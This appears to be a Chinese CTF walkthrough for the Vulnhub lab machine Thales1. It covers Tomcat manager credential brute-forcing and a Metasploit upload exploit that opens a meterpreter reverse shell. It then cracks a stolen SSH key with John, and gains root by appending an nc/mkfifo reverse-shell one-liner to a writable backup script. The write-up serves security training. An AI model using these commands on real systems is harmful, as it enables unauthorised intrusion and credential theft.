第303个Vulnhub靶场演练攻略:Thales1

article/2025/8/13 15:37:13

Thales1 Vulnhub 演练

“Thales”是 Vulnhub 上的夺旗挑战赛。MachineBoy 开发了这款机器,功不可没。https://www.vulnhub.com/entry/thales-1,749/在本教程中,我们将学习如何利用 Tomcat 应用程序管理器实例中的漏洞获取系统访问权限,以及如何利用以 root 权限运行的脚本获取 root 访问权限。接下来,让我们看看如何按照正确的步骤攻克这台机器。

在这里插入图片描述

1.网络扫描

1.1 首先,我们将使用 netdiscover 命令扫描网络以查找受害者机器的 IP。

网络发现
我们发现受害者机器的 IP 地址为192.168.2.117

 Currently scanning: Finished!   |   Screen View: Unique Hosts              61 Captured ARP Req/Rep packets, from 5 hosts.   Total size: 3660          _____________________________________________________________________________IP            At MAC Address     Count     Len  MAC Vendor / Hostname      -----------------------------------------------------------------------------192.168.2.1     5e:ec:47:29:ea:18     10     600  Unknown vendor           192.168.2.117   08:00:27:e5:33:20      8     480  PCS Systemtechnik GmbH   192.168.2.127   f0:2f:74:1a:39:e7     22    1320  ASUSTek COMPUTER INC.    192.168.2.129   54:05:db:05:79:fd     15     900  LCFC(Hefei) Electronics T192.168.2.243   d0:11:e5:77:95:09      6     360  Apple, Inc.              ┌──(root㉿kali)-[~]
└─# netdiscover -r 192.168.2.0/24

1.2 此外,我们对开放端口枚举进行了积极扫描(-A),发现了以下端口详细信息:

nmap -A 192.168.1.175​​​
根据 Nmap 输出,我们得到

在端口 22 上运行 SSH 服务器(OpenSSH)
在端口 8080 上运行 HTTP 服务(Apache tomcat)


┌──(root㉿kali)-[~]
└─# nmap -A 192.168.2.117                  
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-31 08:06 EDT
Nmap scan report for miletus.lan (192.168.2.117)
Host is up (0.00052s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 8c:19:ab:91:72:a5:71:d8:6d:75:1d:8f:65:df:e1:32 (RSA)
|   256 90:6e:a0:ee:d5:29:6c:b9:7b:05:db:c6:82:5c:19:bf (ECDSA)
|_  256 54:4d:7b:e8:f9:7f:21:34:3e:ed:0f:d9:fe:93:bf:00 (ED25519)
8080/tcp open  http    Apache Tomcat 9.0.52
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/9.0.52
|_http-open-proxy: Proxy might be redirecting requests
MAC Address: 08:00:27:E5:33:20 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelTRACEROUTE
HOP RTT     ADDRESS
1   0.52 ms miletus.lan (192.168.2.117)OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.52 seconds┌──(root㉿kali)-[~]
└─# 

2.枚举

2.1 滥用HTTP

现在让我们看看是否可以从端口 8080 获取任何有趣的信息。由于 Apache Tomcat 服务器在端口 8080 上运行,我们可以立即在浏览器中看到结果。

我们注意到 Tomcat 版本号:9.0.52

网址:http://192.168.2.117: 8080
在这里插入图片描述

3.渗透

3.1 Metasploit

现在,让我们启动 msfconsole。我们将使用辅助扫描程序来暴力破解 Tomcat 管理器的登录信息。这里我们使用 Metasploit 的默认字典进行密码暴力破解。

结果我们得到的tomcat的密码是tomcat:role1

┌──(root㉿kali)-[~]
└─# msfconsole -q
msf6 > use auxiliary/scanner/http/tomcat_mgr_login
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set rhosts 192.168.2.117
rhosts => 192.168.2.117
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set username tomcat
username => tomcat
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set verbose false
verbose => false
msf6 auxiliary(scanner/http/tomcat_mgr_login) > exploit
[+] 192.168.2.117:8080 - Login Successful: tomcat:role1
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/tomcat_mgr_login) > 

3.2 由于我们枚举了 Tomcat Manager 登录凭据,因此我们可以通过注入恶意 Java Payload 来尝试反向连接。我们将利用此漏洞获取 meterpreter shell。

msf6 auxiliary(scanner/http/tomcat_mgr_login) > use exploit/multi/http/tomcat_mgr_upload
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/http/tomcat_mgr_upload) > set rhosts 192.168.2.117
rhosts => 192.168.2.117
msf6 exploit(multi/http/tomcat_mgr_upload) > set rport 8080
rport => 8080
msf6 exploit(multi/http/tomcat_mgr_upload) > set httpusername tomcat
httpusername => tomcat
msf6 exploit(multi/http/tomcat_mgr_upload) > set httppassword role1
httppassword => role1
msf6 exploit(multi/http/tomcat_mgr_upload) > exploit
[*] Started reverse TCP handler on 192.168.2.185:4444 
[*] Retrieving session ID and CSRF token...
[*] Uploading and deploying XBTLaZYyu...
[*] Executing XBTLaZYyu...
[*] Undeploying XBTLaZYyu ...
[*] Sending stage (58073 bytes) to 192.168.2.117
[*] Undeployed at /manager/html/undeploy
[*] Meterpreter session 1 opened (192.168.2.185:4444 -> 192.168.2.117:42922) at 2025-05-31 09:35:29 -0400meterpreter > cd /home
meterpreter > ls
Listing: /home
==============Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
040554/r-xr-xr--  4096  dir   2021-10-14 07:28:04 -0400  thalesmeterpreter > cd thales/
meterpreter > ls
Listing: /home/thales
=====================Mode           Size  Type  Last modified            Name
----           ----  ----  -------------            ----
100001/------  457   fil   2021-10-14 07:30:45 -04  .bash_history
--x                        00
100445/r--r--  220   fil   2018-04-04 14:30:26 -04  .bash_logout
r-x                        00
100445/r--r--  3771  fil   2018-04-04 14:30:26 -04  .bashrc
r-x                        00
040001/------  4096  dir   2021-08-15 12:58:00 -04  .cache
--x                        00
040001/------  4096  dir   2021-08-15 12:58:00 -04  .gnupg
--x                        00
040555/r-xr-x  4096  dir   2021-08-15 13:50:29 -04  .local
r-x                        00
100445/r--r--  807   fil   2018-04-04 14:30:26 -04  .profile
r-x                        00
100445/r--r--  66    fil   2021-08-15 13:50:18 -04  .selected_editor
r-x                        00
040777/rwxrwx  4096  dir   2021-08-16 16:34:04 -04  .ssh
rwx                        00
100445/r--r--  0     fil   2021-10-14 06:45:25 -04  .sudo_as_admin_successf
r-x                        00                       ul
100444/r--r--  107   fil   2021-10-14 05:36:43 -04  notes.txt
r--                        00
100000/------  33    fil   2021-08-15 14:18:54 -04  user.txt
---                        00meterpreter > 

3.3 获取 meterpreter shell 后,我们导航到“home”目录,在那里我们可以找到一个名为“thales”的子目录。进入“thales”目录,我们得到两个文件:user.txt和notes.txt。我们还找到了一个.ssh目录。

3.4 我们观察到受害者机器上存在公钥(id_rsa.pub)和私钥(id_rsa)。私钥用于登录。现在,我们将私钥下载到我们的kali机器上。

meterpreter > cd .ssh
meterpreter > ls
Listing: /home/thales/.ssh
==========================Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100444/r--r--r--  1766  fil   2021-08-16 16:34:04 -0400  id_rsa
100444/r--r--r--  396   fil   2021-08-16 16:34:04 -0400  id_rsa.pubmeterpreter > download id_rsa /root/Desktop/
[*] Downloading: id_rsa -> /root/Desktop/id_rsa
[*] Downloaded 1.72 KiB of 1.72 KiB (100.0%): id_rsa -> /root/Desktop/id_rsa
[*] Completed  : id_rsa -> /root/Desktop/id_rsa
meterpreter > 

3.5 这里我们下载了受密码保护的id_rsa文件,现在我们需要将 id_rsa 密钥转换为可以使用’john ’ 破解的哈希值。首先,我们使用命令 ‘ssh2john’ 将密钥转换为哈希值。

3.6 现在我们可以尝试用 John the Ripper 破解哈希值了。我们将使用单词列表“rockyou.txt”。

┌──(root㉿kali)-[~/Desktop]
└─# locate ssh2john
/usr/bin/ssh2john
/usr/share/john/ssh2john.py
/usr/share/john/__pycache__/ssh2john.cpython-313.pyc┌──(root㉿kali)-[~/Desktop]
└─# /usr/share/john/ssh2john.py id_rsa > sshhash┌──(root㉿kali)-[~/Desktop]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt sshhash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
fopen: /usr/share/wordlists/rockyou.txt: No such file or directory┌──(root㉿kali)-[~/Desktop]
└─# wordlists -h> wordlists ~ Contains the rockyou wordlist/usr/share/wordlists
├── amass -> /usr/share/amass/wordlists
├── dirb -> /usr/share/dirb/wordlists
├── dirbuster -> /usr/share/dirbuster/wordlists
├── dnsmap.txt -> /usr/share/dnsmap/wordlist_TLAs.txt
├── fasttrack.txt -> /usr/share/set/src/fasttrack/wordlist.txt
├── fern-wifi -> /usr/share/fern-wifi-cracker/extras/wordlists
├── john.lst -> /usr/share/john/password.lst
├── legion -> /usr/share/legion/wordlists
├── metasploit -> /usr/share/metasploit-framework/data/wordlists
├── nmap.lst -> /usr/share/nmap/nselib/data/passwords.lst
├── rockyou.txt.gz
├── seclists -> /usr/share/seclists
├── sqlmap.txt -> /usr/share/sqlmap/data/txt/wordlist.txt
├── wfuzz -> /usr/share/wfuzz/wordlist
└── wifite.txt -> /usr/share/dict/wordlist-probable.txtDo you want to extract the wordlist rockyou.txt? [Y/n] y
Extracting rockyou.txt.gz...> wordlists ~ Contains the rockyou wordlist/usr/share/wordlists
├── amass -> /usr/share/amass/wordlists
├── dirb -> /usr/share/dirb/wordlists
├── dirbuster -> /usr/share/dirbuster/wordlists
├── dnsmap.txt -> /usr/share/dnsmap/wordlist_TLAs.txt
├── fasttrack.txt -> /usr/share/set/src/fasttrack/wordlist.txt
├── fern-wifi -> /usr/share/fern-wifi-cracker/extras/wordlists
├── john.lst -> /usr/share/john/password.lst
├── legion -> /usr/share/legion/wordlists
├── metasploit -> /usr/share/metasploit-framework/data/wordlists
├── nmap.lst -> /usr/share/nmap/nselib/data/passwords.lst
├── rockyou.txt
├── rockyou.txt.gz
├── seclists -> /usr/share/seclists
├── sqlmap.txt -> /usr/share/sqlmap/data/txt/wordlist.txt
├── wfuzz -> /usr/share/wfuzz/wordlist
└── wifite.txt -> /usr/share/dict/wordlist-probable.txt┌──(root㉿kali)-[~]
└─# cd Desktop ┌──(root㉿kali)-[~/Desktop]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt sshhash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
vodka06          (id_rsa)     
1g 0:00:00:00 DONE (2025-05-31 09:45) 1.162g/s 3325Kp/s 3325Kc/s 3325KC/s vodka1420..vodka0260
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

3.7 获得 shell 后,我们将使用以下命令将非交互式 shell 升级为部分交互式 shell:

python -c ‘导入pty;pty.spawn(“/bin/bash”)’
由于我们已经破解了用户“thales”的密码,让我们切换到thales用户。

3.8 切换到 thales 用户后,我们使用“ id ”命令查看真实有效的“用户和组”ID。我们发现 thales 是非 root 用户。

3.9 我们现在使用“ sudo -l ”来检查哪些命令可以由用户 thales 以 root 身份运行。

我们发现用户 thales 没有权限以 root 身份运行任何命令。因此,现在我们来搜索一些有趣的文件。

3.10 我们在 note.txt 上得到提示,在目录/usr/local/bin/backup.sh中为我们准备了一个备份脚本

meterpreter > shell
Process 1 created.
Channel 1 created.
python -c 'import pty; pty.spawn("/bin/bash")'
/bin/sh: 1: python: not found
python -c 'import pty; pty.spawn("/bin/bash")'^[[D^[[D^[[D^[[D^[[D^[[1;5D^?
/bin/sh: 2: python: not found
/bin/sh: 2: 5D: not found
python3 -c 'import pty; pty.spawn("/bin/bash")'
tomcat@miletus:/home/thales$ su thales
su thales
Password: vodka06thales@miletus:~$ id
id
uid=1000(thales) gid=1000(thales) groups=1000(thales),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
thales@miletus:~$ sudo -l
sudo -l
[sudo] password for thales: vodka06Sorry, user thales may not run sudo on miletus.
thales@miletus:~$ cd /home
cd /home
thales@miletus:/home$ ls
ls
thales
thales@miletus:/home$ cd thales 
cd thales
thales@miletus:~$ ls
ls
notes.txt  user.txt
thales@miletus:~$ cat notes.txt 
cat notes.txt
I prepared a backup script for you. The script is in this directory "/usr/local/bin/backup.sh". Good Luck.
thales@miletus:~$ 

3.11 现在,我们来检查一下backup.sh文件。我们检查发现,该文件具有读、写、执行权限,并且文件所有者是root。


hales@miletus:~$ cat /usr/local/bin/backup.sh
ls -la /usr/local/bin/backup.shcat /usr/local/bin/backup.sh
#!/bin/bash
####################################
#
# Backup to NFS mount script.
#
##################################### What to backup. 
backup_files="/opt/tomcat/"# Where to backup to.
dest="/var/backups"# Create archive filename.
day=$(date +%A)
hostname=$(hostname -s)
archive_file="$hostname-$day.tgz"# Print start status message.
echo "Backing up $backup_files to $dest/$archive_file"
date
echo# Backup the files using tar.
tar czf $dest/$archive_file $backup_files# Print end status message.
echo
echo "Backup finished"
date# Long listing of files in $dest to check file sizes.
ls -lh $dest
thales@miletus:~$ ls -la /usr/local/bin/backup.sh-rwxrwxrwx 1 root root 612 Oct 14  2021 /usr/local/bin/backup.sh
thales@miletus:~$ 

4.权限提升

由于backup.sh是可写的,因此我们可以通过注入反向shell负载来编辑该脚本,并期望获得root shell访问权限。

4.1 在我们的攻击机(kali)上,我们将启动一个 Netcat 监听器来接收 shell,端口为 8888

4.2 在终端中执行以下命令,附加用于注入恶意负载的backup.sh脚本。

thales@miletus:~$ echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.185 8888 >/tmp/f" >>backup.sh
< -i 2>&1|nc 192.168.2.185 8888 >/tmp/f" >>backup.sh
thales@miletus:~$ 

4.3 因为它是一个自动运行的备份脚本,因此它将通过端口 8888 授予 root 权限的反向 shell。

┌──(root㉿kali)-[~/Desktop]
└─# nc -lvp 8888                                                             
listening on [any] 8888 ...
connect to [192.168.2.185] from miletus.lan [192.168.2.117] 43530
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# ls
root.txt# cat root.txt
3a1c85bebf8833b0ecae900fb8598b17
# 

http://www.hkcw.cn/article/FFyJAcQHif.shtml

相关文章

vscode + cmake + ninja+ gcc 搭建MCU开发环境

vscode cmake ninja gcc 搭建MCU开发环境 文章目录 vscode cmake ninja gcc 搭建MCU开发环境1. 前言2. 工具安装及介绍2.1 gcc2.1.1 gcc 介绍2.1.2 gcc 下载及安装 2.2 ninja2.2.1 ninja 介绍2.2 ninja 安装 2.3 cmake2.3.1 cmake 介绍2.3.2 cmake 安装 2.4 VScode 3. 上手…

GNSS终端授时之四:高精度的PTP授时

我们在GNSS终端的授时之三&#xff1a;NTP网络授时中介绍了NTP网络授时的基本原理。我们知道了NTP授时的精度跟网络环境相关&#xff0c;即使在局域网中NTP授时的精度也只能到ms级别。如果广域网&#xff0c;经过多级交换机&#xff0c;路由器&#xff0c;由于传输路径和延时的…

Amazon Augmented AI:人类智慧与AI协作,破解机器学习审核难题

在人工智能日益渗透业务核心的今天&#xff0c;你是否遭遇过这样的困境&#xff1a;自动化AI处理海量数据时&#xff0c;面对模糊、复杂或高风险的场景频频“卡壳”&#xff1f;人工审核团队则被低效、重复的任务压得喘不过气&#xff1f;Amazon Augmented AI (A2I) 的诞生&…

OS10.【Linux】yum命令

目录 1.安装软件的几种方法 直接编译源代码,得到可执行程序 使用软件包管理器 2.yum yum list命令 参数解释 yum install命令 yum remove命令 下载链接存放的位置 扩展yum源 实验:安装sl小火车命令 sl命令的选项 方法1:man sl 方法2:读源代码 3.更新yum源 查看…

网络协议的原理及应用层

网络协议 网络协议目的为了减少通信成本&#xff0c;所有的网络问题都是传输距离变长的问题。 协议的概念&#xff1a;用计算机语言来发出不同的信号&#xff0c;信号代表不同的含义&#xff0c;这就是通信双方的共识&#xff0c;便就是协议。 协议分层&#xff08;语言层和…

【计算机网络】第3章:传输层—可靠数据传输的原理

目录 一、PPT 二、总结 &#xff08;一&#xff09;可靠数据传输原理 关键机制 1. 序号机制 (Sequence Numbers) 2. 确认机制 (Acknowledgements - ACKs) 3. 重传机制 (Retransmission) 4. 校验和 (Checksum) 5. 流量控制 (Flow Control) 协议实现的核心&#xff1a;滑…

RV1126-OPENCV 图像叠加

一.功能介绍 图像叠加&#xff1a;就是在一张图片上放上自己想要的图片&#xff0c;如LOGO&#xff0c;时间等。有点像之前提到的OSD原理一样。例如&#xff1a;下图一张图片&#xff0c;在左上角增加其他图片。 二.OPENCV中图像叠加常用的API 1. copyTo方法进行图像叠加 原理…

Java流【全】

IO流分类 AA、根据数据流动的方向:输入流和输出流 如:打开一个新的记事本并输入一些内容,而这些内容是在内存里面的,没有存储到磁盘中,当点击保存之后,数据才会从内存流向磁盘;当双击打开磁盘文件的时候,数据才会从磁盘流向内存【数据存储有一个特点:内存一旦断电数…

大模型登《情报学报》!大模型驱动的学术文本挖掘!

武汉大学信息管理学院、武汉大学信息检索与知识挖掘研究所的陆伟、刘寅鹏、石湘、刘家伟、程齐凯、黄永和汪磊共同研究的《大模型驱动的学术文本挖掘——推理端指令策略构建及能力评测》在《情报学报》中发表。论文以学术文本挖掘任务为切入点&#xff0c;构建涵盖文本分类、信…

UI 设计|提高审美|极简扁平过时吗?

​在做UI界面时&#xff0c;极简扁平一直是个稳妥又高适配的选择。它没有复杂的质感和装饰&#xff0c;更强调清晰、直接和功能导向&#xff0c;能快速搭建出干净、有秩序的界面&#xff0c;适合大多数场景落地。 但是也确实有太多太相似的极简导致确实辨识度&#xff0c;这中…

哈尔滨工业大学提出ADSUNet—红外暗弱小目标邻帧检测新框架

ADSUNet: Accumulation-Difference-Based Siamese U-Net for inter-frame Infrared Dim and Small Target Detection 作者单位&#xff1a;哈尔滨工业大学空间光学工程研究中心 引用: Liuwei Zhang, Yuyang Xi, Zhipeng Wang, Wang Zhang, Fanjiao Tan, Qingyu Hou, ADSUNet: A…

#14 【Kaggle】 Drawing with LLMs 金牌方案赏析

用大模型画svg的比赛结束了,本来还是银牌的,shake down成了铜牌… 痛定思痛,瞻仰一下第一名的金牌解决方案。 🍕 比赛简单介绍 给定一段描述图像的文本提示,你的任务是生成可缩放矢量图形(SVG)代码,将其尽可能准确地渲染为一幅图像。 本次竞赛旨在构建既实用又可复用…

多任务——进程

1.进程的介绍 1. 进程的基本概念 在 Python 中&#xff0c;进程是操作系统分配资源和调度的基本单位&#xff0c;代表一个独立的程序执行实例。Python 的 multiprocessing 模块支持多进程编程&#xff0c;允许在单个程序中并行运行多个进程。每个进程拥有&#xff1a; 独立的…

Baklib加速企业AI数据治理实践

企业知识中台构建路径 在数字化转型进程中&#xff0c;企业需通过知识中台实现知识资产的系统性整合与价值释放。Baklib作为典型解决方案&#xff0c;以智能化技术为支撑&#xff0c;通过标准化数据接口打通CRM、ERP等异构系统&#xff0c;构建全域知识图谱。其核心实施路径包…

设计模式——状态设计模式(行为型)

摘要 状态设计模式是一种行为型设计模式&#xff0c;核心在于允许对象在内部状态改变时改变行为。它通过状态对象封装不同行为&#xff0c;使状态切换灵活清晰。该模式包含环境类、抽象状态类和具体状态类等角色&#xff0c;具有避免大量分支判断、符合单一职责和开闭原则等特…

搜索引擎2.0(based elasticsearch6.8)设计与实现细节(完整版)

1 简介 1.1 背景 《搜索引擎onesearch 1.0-设计与实现.docx》介绍了1.0特性&#xff0c;搜索schema&#xff0c;agg&#xff0c;表达式搜索映射&#xff0c;本文介绍onesearch 2.0 新特性, 参考第2节 规划特性与发布计划 1.2 关键词 文档 Document elasticsearch 一行数据称为…

【项目记录】登录认证(上)

前面已经实现了部门管理、员工管理的基本功能&#xff0c;但并没有登录&#xff0c;就直接访问到了Tlias智能学习辅助系统的后台。 这是不安全的&#xff0c;所以这次的主题就是登录认证。最终要实现的效果是&#xff1a; 如果用户名密码错误&#xff0c;不允许登录系统。 如…

Redis:安装与常用命令

&#x1f308; 个人主页&#xff1a;Zfox_ &#x1f525; 系列专栏&#xff1a;Redis &#x1f525; 安装 Redis 使⽤apt安装 apt install redis -y⽀持远程连接 修改 /etc/redis/redis.conf 修改 bind 127.0.0.1 为 bind 0.0.0.0 修改 protected-mode yes 为 protected-mo…

16-前端Web实战(Tlias案例-部门管理)

在前面的课程中&#xff0c;我们学习了Vue工程化的基础内容、TS、ElementPlus&#xff0c;那接下来呢&#xff0c;我们要通过一个案例&#xff0c;加强大家对于Vue项目的理解&#xff0c;并掌握Vue项目的开发。 这个案例呢&#xff0c;就是我们之前所做的Tlias智能学习辅助系统…

MagicAnimate 论文解读:引入时间一致性的视频人物动画生成方法

1. 前言/动机 问题&#xff1a;现有动画生成方法缺乏对时间信息的建模&#xff0c;常常出现时间一致性差的问题 描述&#xff1a; 现有的动画生成方法通常采用帧变形&#xff08;frame-warping&#xff09;技术&#xff0c;将参考图像变形以匹配目标动作。尽管这类方法能生成较…